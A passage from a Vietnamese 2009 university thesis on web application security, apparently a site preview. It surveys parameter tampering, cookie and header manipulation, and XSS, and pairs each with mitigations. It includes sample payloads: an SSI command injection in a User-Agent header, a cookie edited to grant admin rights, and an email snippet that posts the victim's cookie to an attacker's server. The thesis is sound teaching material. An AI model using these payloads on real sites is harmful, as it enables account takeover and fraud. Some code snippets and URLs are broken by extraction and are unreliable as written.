Tải bản đầy đủ (.doc) (76 trang)

Một số vấn đề về bảo mật ứng dụng web và demo lỗi SQL injections

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (1.09 MB, 76 trang )

TRƯỜNG ĐẠI HỌC VINH
KHOA CÔNG NGHỆ THÔNG TIN

----------------

ĐỒ ÁN TỐT NGHIỆP

Một số vấn đề về bảo mật ứng dụng Web
&Demo lỗi SQL Injection

GVHD Th.s: Lê Văn Minh
SVTH: Nguyễn Mạnh Cường

Vinh, 05/2009

1


LỜI CẢM ƠN
Sau hơn 3 tháng nỗ lực thực hiện đồ án tốt nghiệp, ngoài sự cố gắng hết mình
của bản thân, tôi đã nhận được sự giúp đỡ chỉ bảo tận tình của thầy cô, bạn bè.
Cá nhân tôi xin được bày tỏ lời chân thành cảm ơn đến thầy giáo hướng dẫn:
Th.S Lê Văn Minh – bộ môn Mạng và truyền thông , khoa CNTT-Trường ĐH
Vinh, người đã trực tiếp tận tình giúp đỡ tôi trong suốt quá trình thực hiện đồ
án. Đồng thời cũng cho phép tôi được cảm ơn sự giúp đỡ, tạo điều kiện của
khoa CNTT-Trường Đại học Vinh
Mặc dù tôi đã cố gắng hoàn thành đồ án trong khả năng cho phép nhưng không
tránh khỏi thiếu sót. Tôi rất mong nhận được sự chỉ bảo đóng góp ý kiến tận
tình của các thầy cô giáo và các bạn.

Người viết đồ án


Nguyễn Mạnh Cường

2


MỤC LỤC

MỞ ĐẦU
Trong thời đại bùng nổ Internet hiện nay, việc khai thác, tìm kiếm và quảng
cáo thông tin trên trang Web đã trở thành một nhu cầu không thể thiếu và đóng
một vai trò rất quan trọng đối với sự thành công trong công việc của các doanh
nghiệp, các tổ chức xã hội cũng như của từng cá nhân. Bởi lý do quan trọng
này nên số lượng các cá nhân và tổ chức truy cập vào trang Web tăng lên một
cách đáng kể. Trong số này, hàng ngày, hàng tuần có cả hàng trăm cuộc thăm
viếng các trang Web với mục đích xấu. Số lượng các cuộc tấn công nhằm vào
lỗ hổng trên các ứng dụng Web đã gây nhiều tổn thất cả về mặt kinh tế và xã
hội. Vì vậy việc nghiên cứu các vấn đề về bảo mật ứng dụng Web là một vấn
đề rất quan trọng trong sự phát triển của Internet hiện nay.
Mục đích của đồ án:
Nghiên cứu các phương pháp tấn công ứng dụng web, từ đó đưa ra các giải
pháp bảo mật cho ứng dụng.
Nội dung đồ án được chia thành 5 chương chính:
Chương I : Giới thiệu ứng dụng Web.
Chương II : Giới thiệu sơ lược các kĩ thuật tấn công ứng dụng web.
Chương III : Một số kĩ thuật tấn công.
Chương IV :Tổng kết các quá trình tấn công và các biện pháp phòng
Chương V : Chương trình minh họa.

3


chống.


CHƯƠNG I
GIỚI THIỆU ỨNG DỤNG WEB
I. Ứng dụng Web (Web Application)
Web là môi trường có khả năng thực thi chương trình cao, cho phép tạo vô số
tùy biến trên nó, triển khai trực tiếp một lượng lớn các ứng dụng tới hàng triệu
người dùng trên thế giới. Hai thành phần quan trọng nhất của Website hiện là
trình duyệt Web và các ứng dụng Web.
Web browser ( trình duyệt Web ) là các ứng dụng phần mềm cho phép người
dùng truy vấn dữ liệu và tương tác với nội dung nằm trên trang Web bên trong
Website.
Các trang Web hiện đại cho phép người dùng lấy xuống nội dung động cá nhân
hóa theo thiết lập và tham chiếu riêng. Hơn nữa chúng có thể chạy các Script
trên máy khách, có thể “thay đổi” trình duyệt Internet thành giao diện cho các
ứng dụng như thư điện tử, phần mềm ánh xạ tương tác (Yahoo Mail, Goole
Maps). Quan trọng nhất là các Website hiện đại cho phép đóng gói, xử lý, lưu
trữ và truyền tải dữ liệu khách hàng nhạy cảm (như thông tin cá nhân, mã số thẻ
tín dụng, thông tin bảo mật xã hội..) có thể dùng ngay hoặc dùng định kỳ về
sau. Và điều này được thực hiện qua các ứng dụng Web. Đó có thể là các thành

4


phần Webmail (thư điện tử), trang đăng nhập, chương trình hỗ trợ và mẫu yêu
cầu sản phẩm hay hoạt động mua bán, hệ thống quản lý nội dung, phát triển
Website hiện đại, cung cấp các phương tiện cần thiết để liên lạc với khách hàng
tương lai và khách hàng hiện tại.
Dưới góc độ chức năng, ứng dụng Web là các chương trình máy tính cho phép

người dùng Website đăng nhập, truy vấn vào/ra dữ liệu qua mạng trên trình
duyệt Web
Dưới góc độ kỹ thuật, các ứng dụng Web truy vấn máy chủ chứa nội dung (chủ
yếu trên cơ sở dữ liệu lưu trữ nội dung) và tạo tài liệu Web động để phục vụ
yêu cầu của máy khách (chính là người dùng Website). Tài liệu được tạo trong
kiểu định dạng tiêu chuẩn hỗ trợ trên tất cả mọi trình duyệt (như HTML,
XHTML). Trình duyệt Web chính là chìa khóa, nó dịch và chạy tất cả các
Script, lệnh…khi hiển thị trang Web và nội dung được yêu cầu.
II. Hoạt động
Hình bên dưới minh họa chi tiết mô hình ứng dụng Web ba tầng. Tầng đầu tiên
thông thương là trình duyệt Web hoặc giao diện người dùng. Tầng thứ hai là
công nghệ kỹ thuật tạo nội dung động như Java servlets (JSP) hay Active
Server Pages (ASP). Còn tầng thứ ba là cơ sở dữ liệu chứa nội dung (như tin
tức) và dữ liệu người dùng (như username, password, mã số bảo mật xã hội, chi
tiết thẻ tín dụng).

5


Hình 1
Quá trình hoạt động bắt đầu với yêu cầu được tạo ra từ người dùng trên trình
duyệt, gửi qua Internet tới trình chủ Web ứng dụng (Web application Server).
Web ứng dụng truy cập máy chủ chứa cơ sở dữ liệu để thực hiện nhiệm vụ
được yêu cầu: cập nhật, truy vấn thông tin đang nằm trong cơ sở dữ liệu. Sau
đó ứng dụng Web gửi thông tin lại cho người dùng qua trình duyệt.

Hình 2

6



III. Các vấn đề về bảo mật Web
Mặc dù không thể phủ nhận những cải tiến nâng cao đáng kể hiện nay, như vấn
đề bảo mật trong ứng dụng Web vẫn không ngừng tăng lên. Nguyên nhân có
thể xuất phát từ các đoạn mã không phù hợp. Nhiều điểm yếu nghiêm trọng hay
các lỗ hổng cho phép hacker xâm nhập thẳng và truy cập vào cơ sở dữ liệu tách
lấy dữ liệu nhạy cảm. Nhiều cơ sở dữ liệu chứa thông tin giá trị (như chi tiết cá
nhân, thông tin tài chính) khiến chúng trở thành đích nhắm thường xuyên của
hầu hết hacker.
Website và các ứng dụng Web liên quan luôn phải sẵn sàng 24/7 để cung cấp
dịch vụ theo yêu cầu khách hàng, yêu cầu từ phía nhân viên, nhà cung cấp và
nhiều người liên quan khác.
• Tường lửa, SLL không thể bảo vệ ứng dụng Web trước mọi hoạt động
hacking, đơn giản vì truy cập vào Website phải để ở chế độ public để bất kỳ
ai cũng có thể ghé thăm Website được. Tất cả hệ thống cơ sở dữ liệu hiện
đại (như Microsoft SQL Server, Oracle, MySQL) đều có thể truy cập qua
một số cổng cụ thể (như cổng 80, 433). Nếu muốn, một người nào đó có thể
kết nội trực tiếp tới cơ sở dữ liệu một cách hiệu quả khi vượt qua cơ chế bảo
mật của hệ điều hành. Các cổng này để mở nhằm cho phép liên lạc với hoạt
động giao thông mạng hợp pháp, và do đó cũng hình thành nên lỗ hổng lớn
nguy hiểm.
• Các ứng dụng Web thường truy cập dữ liệu cuối như cơ sở dữ liệu khách
hàng, điểu khiển dữ liệu có giá trị và do đó rất khó để có thể tuyệt đối an
toàn.

7


• Hầu hết ứng dụng Web đều là tự tạo, do đó ít có được các kiểm tra trình độ
hơn so với các phần mềm cùng loại. Do đó các ứng dụng tùy biến thường dễ

bị tấn công hơn.
Có thể nói ứng dụng Web là một cổng vào (gateway) của cơ sở dữ liệu, nhất là
các ứng dụng tùy biến. Chúng không được phát triển với mức bảo mật tốt nhất
vì không phải qua các kiểm tra bảo mật thông thường.

8


CHƯƠNG II
GIỚI THIỆU SƠ LƯỢC VỀ CÁC KỸ THUẬT TẤN CÔNG ỨNG DỤNG WEB

I. CÁC KHÁI NIỆM THUẬT NGỮ LIÊN QUAN
I.1 Hacker
Hacker là một thuật ngữ dùng để chuyên chỉ những kẻ phá hoại các hệ thống
mạng…Hacker thường là những chuyên gia về máy tính. Hacker không tạo ra
các kẽ hở cho hệ thống, nhưng hacker lại là những người am hiểu về hệ điều
hành, hệ quản trị cơ sở dữ liệu, các ngôn ngữ lập trình…Họ sử dụng kiến thức
của mình trong việc tìm tòi và khai thác các lỗ hổng của hệ thống mạng. Một số
hacker chỉ dừng lại ở việc phát hiện và thông báo lỗi tìm được cho những nhà
bảo mật hay người phát triển chương trình, họ được xem như là WhiteHat
(Hacker mũ trắng). Một số hacker dựa vào những lỗ hổng thực hiện việc khai
thác trái phép nhằm mục đích phá hoại hay mưu lợi riêng, những người này bị
xem như là BlackHat( Hacker mũ đen).
I.2 HTTP Header
HTTP Header là phần đầu (header) của thông tin mà trình khách và trình chủ
gửi cho nhau. Những thông tin trình khách gửi cho trình chủ được gọi là HTTP
requests (yêu cầu) còn trình chủ gửi cho trình khách là HTTP responses (trả
lời). Thông thường, một HTTP header gồm nhiều dòng, mỗi dòng chứa tên
tham số và giá trị. Một số tham số có thể được dùng trong cả header yêu cầu và
header trả lời, một số khác thì chỉ được dùng riêng trong từng loại. Ví dụ:

• Header yêu cầu: (Header Request )
Get /tintuc/homnay.asp HTTP/1.1

9


Accept: */*
Accept-Language: en-us
Connection: Keep-Alive
Host: localhost
Referer: http://localhost/lienket.asp
User-Agent: Mozilla/4.0 {compatible: MSIE 5.5; Windows NT 5.0}
Accept-Encoding: gzip, deflate
o Dòng đầu là dòng yêu cầu cho biết phương thức yêu cầu (GET hoặc
POST), địa chỉ yêu cầu (/tintuc/homnay.asp) và phiên bản HTTP
(HTTP/1.1)…
o Tiếp theo là các tham số. Chẳng hạn như:
 Accept-Language: Cho biết ngôn ngữ dùng trong trang web.
 Host: Cho biết địa chỉ máy chủ.
 Referer: Cho biết địa chỉ của trang web tham chiếu tới.
o Header của HTTP request sẽ kết thúc bằng một dòng trống.
• Header trả lời:
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Thu, 16 Mar 2009 05:46:53 GMT
Content-Length: 2291
Content-Type: text/html
Set-cookie:
ASPSESSIONIDQQGGGNCC=LKLDFFKCINFLDMFHCBCBMFLJ;
Path=/

Cache-control: private
<HTML>
<BODY>

10


………
o Dòng đầu là dòng trạng thái để cho biết phiên bản HTTP được dùng
(HTTP/1.1), mã trạng thái (200) và trạng thái (OK).
o Tiếp theo là các tham số.
o Tiếp theo là một dòng trống để báo hiệu kết thúc header, tiếp theo
là phần thân của HTTP response.
I.3 Session
HTTP là giao thức hướng đối tượng tổng quát, phi trạng thái, nghĩa là HTTP
không lưu trữ trạng thái làm việc giữa trình duyệt với trình chủ. Sự thiếu sót
này gây khó khăn cho một số ứng dụng Web, bởi vì trình chủ không biết được
trước đó trình duyệt đã có những trạng thái nào. Vì thế, để giải quyết vấn đề
này, ứng dụng Web đưa ra một khái niệm phiên làm việc (Session). Còn
SessionID là một chuỗi để chứng thực phiên làm việc.

I.4 Cookie
Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa website và
browser của người dùng. Cookies được lưu trữ dưới những file dữ liệu nhỏ
dạng text (size dưới 4k). Chúng được các site tạo ra để lưu trữ/truy tìm/nhận
biết các thông tin về người dùng đã ghé thăm site và những vùng họ đi qua
trong site.
Cookies thường có các thành phần sau :
+ Tên: do người lập trình web site chọn
+ Domain: là tên miền từ server mà cookie được tạo và gửi đi

+ Đường dẫn: thông tin về đường dẫn ở web site mà bạn đang xem
+ Ngày hết hạn: là thời điểm mà cookie hết hiệu lực .

11


+ Bảo mật: Nếu giá trị này đựơc thiết lập bên trong cookie, thông tin sẽ đựơc
mã hoá trong quá trình truyền giữa server và browser.

I.5 Proxy
Proxy cung cấp cho người sử dụng truy xuất Internet những nghi thức đặc biệt
hoặc một tập những nghi thức thực thi trên dual_homed host hoặc bassion host.
Những chương trình client của người sử dụng sẽ qua trung gian proxy server
thay thế cho server thật sự mà người sử dụng cần giao tiếp.
Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay
không đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server
thật thay cho client và tiếp tục chuyển tiếp những yêu cầu từ client đến server,
cũng như trả lời của server đến client. Vì vậy proxy server giống cầu nối trung
gian giữa server và client.
II. GIỚI THIỆU SƠ LƯỢC CÁC KỸ THUẬT TẤN CÔNG
Sau đây là các khái niệm sơ lược các kĩ thuật tấn công ứng dụng Web đã được
phân loại dựa trên mức độ gây tác hại đối với ứng dụng.
II.1 Kiểm soát truy cập web (Web access control)
Thâm nhập hệ thống qua cửa sau (Back door)
Trong quá trình thiết kế ứng dụng, những người phát triển ứng dụng có thể cài
một “cửa sau” (back door) để sau này co thể thâm nhập vào hệ thống một cách
dễ dàng.
II.2 Chiếm hữu phiên làm viêc
 Ấn định phiên làm việc (Session Fixation)


12


Là kĩ thuật tấn công cho phép hacker mạo danh người dùng hợp lệ bằng
cách gửi một session ID hợp lệ đến người dùng, sau khi người dùng đăng
nhập vào hệ thống thành công, hacker sẽ dùng lại session ID đó và
nghiễm nhiên trở thành người dùng hợp lệ
 Đánh cắp phiên làm việc (Session Hijacking)
Là kĩ thuật tấn công cho phép hacker mạo danh người dùng hợp lệ sau
khi nạn nhân đã đăng nhập vào hệ thống bằng cách giải mã session ID
của họ được lưu trữ trong cookie hay tham số URL, biến ẩn của form.
II.3 Lợi dụng các thiếu sót trong việc kiểm tra dữ liệu nhập hợp lệ (Input
validation)
Hacker lợi dụng những ô nhập dữ liệu để gửi đi một đoạn mã bất kì khiến cho
hệ thống phải thực thi đoạn lệnh đó hay bị phá vỡ hoàn toàn.
 Kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ phía trình duyệt
(Client-side validation)
Do ngôn ngữ phía trình duyệt (JavaScript, VBScrip…) được thực thi trên
trình duyệt nên hacker có thể sửa đổi mã nguồn để có thể vô hiệu hóa sự
kiểm tra
 Tràn bộ đệm (Buffer OverFlow)
Một khối lượng dữ liệu được gửi cho ứng dụng vượt quá lượng dữ liệu
được cấp phát khiến cho ứng dụng không thực thi được câu lệnh dự định
kế tiếp mà thay vào đó phải thực thi một đoạn mã bất kì do hacker đưa
vào hệ thống. Nghiêm trọng hơn nếu ứng dụng được cấu hình để thực thi
với quyền root trên hệ thống.
 Vượt qua đường dẫn (Path Traversal):
Là phương pháp lợi dụng đường dẫn truy xuất một tập tin trên URL để
trả kết quả về cho trình duyệt mà hacker có thể lấy được nội dung tệp tin
bất kì trên hệ thống.

13


 Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross-Site Scripting):
Đây là kĩ thuật chủ yếu nhằm vào thông tin trên máy tính của người dùng
hơn là vào hệ thống máy chủ. Bằng cách thêm vào một đoạn mã bất kì
( thường được lập trình bằng ngôn ngữ kịch bản như JavaScrip,
VBScrip…), hacker có thể thực hiện việc đánh cắp thông tin quan trọng
như cookie để từ đó trở thành người dùng hợp lệ của ứng dụng…dựa trên
những thông tin đánh cắp này.
 Thêm câu lệnh hệ thống (OS Command Injection)
Khả năng thực thi được những câu lệnh hệ thống hay những đoạn mã
được thêm vào trong những tham số mà không có sự kiểm tra chặt chẽ
như tham số của form, cookie, yêu cầu HTTP Header, và những dữ liệu
nguy hiểm trong những tập tin được đưa lên trình chủ. Thành công trong
kĩ thuật này giúp hacker có thể thực thi được những câu lệnh hệ thống
cùng với quyền của trình chủ.
 Chèn câu truy vấn SQL (SQL Injection)
Trong lập trình với cơ sở dữ liệu, người lập trình đã sai sót trong vấn đề
kiểm tra giá trị nhập vào để từ đó hacker lợi dụng thêm vào những câu
truy vấn hay những giá trị không hợp lệ để đăng nhập vào hệ thống.
 Ngôn ngữ phía máy chủ (Server side includes)
Là khả năng thêm vào những câu lệnh thuộc hệ thống như nhúng file
(include file), truy xuất cơ sở dữ liệu…khiến cho hacker có cơ hội truy
xuất đến file, cơ sở dữ liệu…mà bình thường không thể xem được trên
website.
II.4 Để lộ thông tin
Những tập tin và ứng dụng trên hệ thống chứa những thông tin quan trọng như
mã nguồn một trang Web hay tập tin chứa mật khẩu của người dùng trên hệ


14


thống luôn là mục tiêu của hacker. Ngoài ra những lời chú thích trong mã
nguồn cũng là nguồn thông tin hữu ích cho hacker.
Hacker sử dụng trả lời HTTP từ hệ thống để xác định một tập tin hay ứng dụng
có tồn tại hay không.
Ví dụ:
.HTTP 200: Tập tin tồn tại
.HTTP 404: Tập tin không tồn tại
II.5 Từ chối dịch vụ (Denial of service DoS)
Tấn công kiểu DoS là kiểu tấn công làm cho các dịch vụ mạng bị tê liệt, không
còn khả năng đáp ứng yêu cầu nữa. Loại tấn công này ảnh hưởng đến nhiều hệ
thống, rất dễ thực hiện và lại rất khỏ bảo vệ hệ thống khỏi yêu cấu tấn công
DoS.

15


CHƯƠNG III
MỘT SỐ KĨ THUẬT TẤN CÔNG ỨNG DỤNG WEB
I. THAO TÁC TRÊN THAM SỐ TRUYỀN
Thao tác trên tham số truyền là kĩ thuật thay đổi thông tin quan trọng trên
cookie, URL hay biến ẩn của form. Kĩ thuật Cross-Site Scripting, SessionID,
SQL Injection, Buffer Overflow…cũng cần dùng đến các tham số này để hoàn
thiện các bước tấn công của hacker. Có thể nói tham số truyền là đầu mối cho
mọi hoạt động của hacker trong quá trình tấn công ứng dụng.
I.1 Thao tác trên URL
I.1.1 Khái niệm:
Khi nhập một form HTML thì kết quả sẽ được gửi đi theo hai cách: GET hay

POST. Nếu dùng GET, thì tất cả các tên biến và giá trị của nó sẽ xuất hiện
trong chuỗi URL.
Ví dụ: Có một trang web ứng dụng cho phép thành viên đã được thay đổi mật
khẩu.
/>Với: Username là tên người cần thay đổi mật khẩu.
Newpass là mật khẩu mới cho username
Tuy nhiên, bằng cách thay đổi tham số như sau:
/>Hacker đã có thể thay đổi mật khẩu của admin bằng một mật khẩu mới bất kì,
trong ví dụ này là ‘111111’

16


I.1.2 Một số biện pháp khắc phục
Để chống lại kiểu thay đổi nội dung chuỗi URL, ứng dụng có thể áp dụng biện
pháp sau:
• Ứng dụng sử dụng cơ chế bảng băm (hash table). Sau khi người dùng
chứng thực thành công với một username, ứng dụng sẽ sinh ra một khóa
tương ứng. Khóa này sẽ lưu trên server cùng với biến username trong đối
tượng bảng băm. Mỗi khi nguời dùng kết nối đến ứng dụng, khóa và
username này sẽ được gửi đi và được so sánh với khóa username trong
bảng băm. Nếu tương ứng với bản ghi trong dữ liệu thì hợp lệ. Còn nếu
không thì server biết rằng người dùng đã thay đổi URL.
• Ngoài ra, với những thông tin có giá trị, cần mã hóa thông tin này trước
khi cho hiển thị trên trình duyệt để tránh hacker có thể sửa đổi tùy ý.
I.2 Thao tác trên biến ẩn form
I.2.1 Khái niệm
Thông tin có thể được chuyển đổi thông qua một biến ẩn form, gọi là Hidden
Form Field. Biến ẩn form không hiển thị trên màn hình trình duyệt nhưng
người dùng có thể tìm thấy nội dung của nó trong “view source”, vì thế đây là

một điểm yếu để hacker lợi dụng bằng cách lưu nội dung trang web xuống trình
duyệt, thay đổi nội dung trang và gửi đến trình chủ.
Ví dụ: Form gốc có nội dung như sau:
<form action= method=”POST”>

<input type=”hiden” name=”giaca” value=”99.99”>

</form>

17


Nếu không có sự thay đổi nào thì yêu cầu đến trình chủ có nội dung:
POST /cuahang.p1 HTTP/1.1

Giaca=99.99
Nhưng nếu hacker gán một giá trị khác cho trường “giaca”:
<form action= method=”POST”>

<input type=”hiden” name=”giaca” value=”0.99”>

</form>
Thì yêu cầu sẽ thay đổi:
POST /cuahang.p1 HTTP/1.1

Giaca=0.99
Ngoài việc thay đổi nội dung biến ẩn của form, hacker còn biến đổi nội dung
các thành phần trong form, như chiều dài của một ô nhập dữ liệu để thực hiện
việc tấn công “BUFFER OVERFLOW”,…
I.2.2 Một số biện pháp khắc phục

• Chỉ nên sử dụng biến ẩn của form để hiện thị dữ liệu trên trình duyệt,
không được sử dụng giá trị của biến để thao tác trong xử lí ứng dụng.
• Ghép tên và giá trị của biến ẩn thành một chuỗi đơn. Sử dụng thuật toán
mã hóa MD5 hoặc một kiểu hash một chiều khác để tổng hợp chuỗi đó
và lưu nó vào một hidden field gọi là “Chuỗi mẫu”.

18


Khi giá trị trong form được gửi đi, các thao tác như trên được thực hiện
lại với cùng một khóa mà ta định trước. Sau đó đem so sánh với “Chuỗi
mẫu”, nếu chũng không khớp nhau thì chứng tỏ giá trị trong biểu mẫu đã
bị thay đổi.

I.3 Thao tác trên Cookie
I.3.1 Khái niệm.
Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa website và
browser của người dùng. cookies được lưu trữ dưới những file dữ liệu nhỏ dạng
text (size dưới 4k). Chúng được các site tạo ra để lưu trữ/truy tìm/nhận biết các
thông tin về người dùng đã ghé thăm site và những vùng mà họ đi qua trong
site.
Vì cookie là thành phần lưu trữ thông tin bảo mật nhất nên Cookie thường được
dùng để lưu giữ trạng thái giao thức HTTP hơn là biến ẩn form và biến URL.
Nó còn được dùng để lưu trữ những thông tin của người dùng khi sử dụng ứng
dụng và những dữ liệu khác của session. Do đó hacker có thể thay đổi nội dung
cookie để phá hoại ứng dụng.
Ví dụ: Về cookie dùng để lưu trữ thông tin cho ứng dụng web thông tin du lịch:
Cookie: lang=en-us; ADMIN=no; y=1; time = 10:30GMT ;
Cookie xác định người dùng này không phải là Admin (ADMIN=0), nhưng nếu
hacker thay đổi trường này thì điều gì sẽ xảy ra? Hacker có thể thay đổi lại

thành như sau:
Cookie: lang=en-us; ADMIN=yes; y=1; time=12:30GMT;
Hacker lúc này mang vai trò là một người quản trị của ứng dụng.

19


I.3.2 Một số biện pháp khắc phục
• Sử dụng đối tượng session lưu trữ thông tin quan trọng trên trình chủ.
Khi ứng dụng cần kiểm tra thông tin của một người dùng, ứng dụng sẽ
dùng sessionID của người dùng để chỉ đến thông tin của người dùng đó
trong cache hay cơ sở dữ liệu.
• Xây dựng một cơ chế kiểm tra nội dung của cookie để tìm ra những giá
trị không hợp lệ từ đó biết được cookie đó là giả.
• Mã hóa cookie. Có một số phương pháp mã hóa như symmetric (dùng 1
khóa duy nhất cho cả mã hóa và giải mã) hay asymmetric (mã hóa dùng
2 khóa riêng biệt, một khóa dùng chung cho mã hóa và một khóa riêng
để giải mã)
I.4 Thao tác trong HTTP header
URL, biến ẩn form, cookie đều là những thành phần lưu trữ thông tin mà người
dùng thông thường có thể xem và thay đổi. Tuy nhiên, những thành phần đó
đều được chuyển đi thông qua HTTP Header. Ví thế, mặc dù HTTP Header
không phải là tham số truyền của một ứng dụng nhưng mọi thông tin đều được
lưu trữ vào nó trước khi chuyển đi nên trong phần này sẽ đề cập đến việc thay
đổi một HTTP Header.
I.4.1 Khái niệm.
Thông thường chỉ có trình duyệt và trình chủ là trao đổi HTTP Header, còn hầu
hết các ứng dụng web thì không. Tuy nhiên, hacker có thể tự viết một chương
trình để điều khiển HTTP header (như xem nội dung, tạo mới) hay sử dụng các
proxy miễn phí cho phép thay đổi dữ liệu được gửi từ trình duyệt. Ngoài ra

hacker có thể tấn công trực tiếp bằng cách telnet gửi HTTP Request đến trình
chủ.

20


Ví dụ:
Su-2.05# telnet localhost 80
Trying 127.0.0.1…
Connected to localhost.
Escape character í ‘^]’.
GET / HTTP/1.0
Referer: www.redhat.com/login.asp
User-Agent: <!--#exec cmd=”/bin/id”-->
HTTP/1.1 200 OK
Date: Mon, 17 Dec 2006 20:39:02 GMT
Server:
Connection: close
Content-Type: text/html
Phần in đậm là nội dung hacker thay đổi.
Referer header chứa URL của trang web mà từ đó yêu cầu được gửi đi. Vì thế
một vài ứng dụng sẽ kiểm tra thành phần này trong header để đảm bảo rằng nó
được gửi từ trang web của ứng dụng đó. Việc làm này dùng để ngăn chặn việc
hacker lưu lại trang web xuống máy, chỉnh sửa thuộc tính form, phá hoại bằng
cách nhằm vào client side validate hay serve side include, sau đó gửi đi. Nhưng
phương pháp kiểm tra này sẽ thất bại khi hacker có thể sửa lại Referer header
để nó giống như được gửi từ trang web hợp lệ.
Referer: www.redhat.com/login.asp
I.4.2 Một số biện pháp khắc phục.
Đơn giản là không tin tưởng vào HTTP header nếu chưa có các biện pháp an

toàn. Với các header gửi từ trình chủ, chẳng hạn như cookie thì có thể được mã

21


hóa. Còn với các header gửi từ trình khách thì không nên dùng các tham số như
referer,…để thực hiện các biện pháp an toàn.
Nhận xét:
Mọi thông tin quan trọng trao đổi giữa trình duyệt và trình chủ không nên lưu
trữ dưới dạng chuỗi thông thường mà cần được mã hóa, ngoài ra những thông
tin này nên được kiểm tra, đối chiếu với dữ liệu trong cơ sở dữ liệu hay trong
cache của trình chủ, phòng tránh trường hợp nội dung thông tin bị sai lệch.

II. CHÈN MÃ LỆNH THỰC THI TRÊN TRÌNH DUYỆT NẠN NHÂN
(CROSS-SITE SCRIPTING)
II.1 Cross-Site Scripting (XSS)
Là một trong những kĩ thuật tấn công phổ biến nhất hiên nay, đồng thời nó
cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển
web và cả những người sử dụng web. Bất kì một website nào cho phép người
sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy
hiểm thì đều có thể tiềm ẩn các lỗi XSS
1. XSS là gì ?
Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để
tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn
công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ...) những thẻ
HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những
người sử dụng khác. Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu
hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML và
cũng có thể là cả các thẻ HTML. Kĩ thuật tấn công XSS đã nhanh chóng trở


22


thành một trong những lỗi phổ biến nhất của Web Applications và mối đe doạ
của chúng đối với người sử dụng ngày càng lớn.
2. XSS hoạt động như thế nào ?
Về cơ bản XSS cũng như SQL Injection hay Source Injection, nó cũng là các
yêu cầu (request) được gửi từ các máy client tới server nhằm chèn vào đó các
thông tin vượt quá tầm kiểm soát của server. Nó có thể là một request được gửi
từ các form dữ liệu hoặc cũng có thể đó chỉ là các URL như
Code:
/>query=<script>alert('XSS was found !')</script>

Với đoạn mã URL chèn vào như trên rất có thể trình duyệt của bạn sẽ hiện lên
một thông báo "XSS was found !".
Các đoạn mã trong thẻ <script> không hề bị giới hạn bởi chúng hoàn toàn có
thể thay thế bằng một file nguồn trên một server khác thông qua thuộc tính src
của thẻ <script>. Cũng chính vì lẽ đó mà chúng ta chưa thể lường hết được độ
nguy hiểm của các lỗi XSS.
Nhưng nếu như các kĩ thuật tấn công khác có thể làm thay đổi được dữ liệu
nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn
hại đối với website ở phía client mà nạn nhân trực tiếp là những người khách
duyệt site đó. Tất nhiên đôi khi các hacker cũng sử dụng kĩ thuật này để
“deface” các website nhưng đó vẫn chỉ tấn công vào bề mặt của website. Thật
vậy, XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi trình
duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống website nằm
trên server.

23



II.2 Phương pháp tấn công XSS truyền thống.
Ứng dụng web thường lưu trữ thông tin quan trọng ở cookie. Cookie là mẫu
thông tin mà ứng dụng lưu trên đĩa cứng của người sử dụng. Nhưng chỉ ứng
dụng thiết lập ra cookie thì mới có thể đọc nó. Do đó chỉ khi người dùng đang
trong phiên làm việc của ứng dụng thì hacker mới có cơ hội đánh cắp cookie.
Công việc đầu tiên của hacker là tìm trang đích để dụ người dùng đăng nhập
sau khi đã tìm ra lỗ hổng trên ứng dụng đó.
Các bước thực hiện XSS truyền thống:

Hình: Quá trình thực hiện XSS
Tóm tắt các bước thực hiện:
 Bước1: Hacker biết được người dùng đang sử dụng một ứng dụng Web
có lỗ hổng XSS
 Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên
chính trang Web (như trên guestbook, banner dễ dàng thêm một liên kết
do chính hacker tạo ra..). Thông thường hacker khiến người dùng chú ý

24


bằng những câu kích thích sự tò mò của người dùng như “Kiểm tra tài
khoản”, “Một phần thưởng hấp dẫn đang chờ bạn”
 Bước 3: Chuyển nội dung thông tin ( cookie, tên, mật khẩu…) về máy
chủ của hacker.
 Bước 4: hacker tạo một chương trình cgi hoặc một trang Web để ghi
nhận những thông tin đã đánh cắp vào một tập tin.
 Bước 5: Sau khi nhận thông tin cần thiết, hacker có thể sử dụng để thâm
nhập vào tài khoản của người dùng.
Ví dụ :

Các thẻ HTML đều có thể là công cụ cho các cuộc tấn công bởi kĩ thuật XSS
Chỉ cần với một đoạn mã HTML gửi trong thư chúng ta hoàn toàn bị mất
cookie của mình:
CODE

action=" />
method="post" name="XSS">
<input type="hidden" name="cookie">
</form>

border="0"

onmouseover="window.document.XSS.cookie.value
document.cookie;

=

window.document.XSS.submit();"

src="none.jpg">

Vậy là khi ta nhận thư, và nếu ta vô tình đưa con chuột qua bức ảnh gửi kèm thì
cũng có nghĩa là ta đã bị lấy mất cookie. Và với cookie lấy được, các hacker có
thể dễ dàng login hòm thư của ta mà không cần biết mật khẩu của ta.

25



×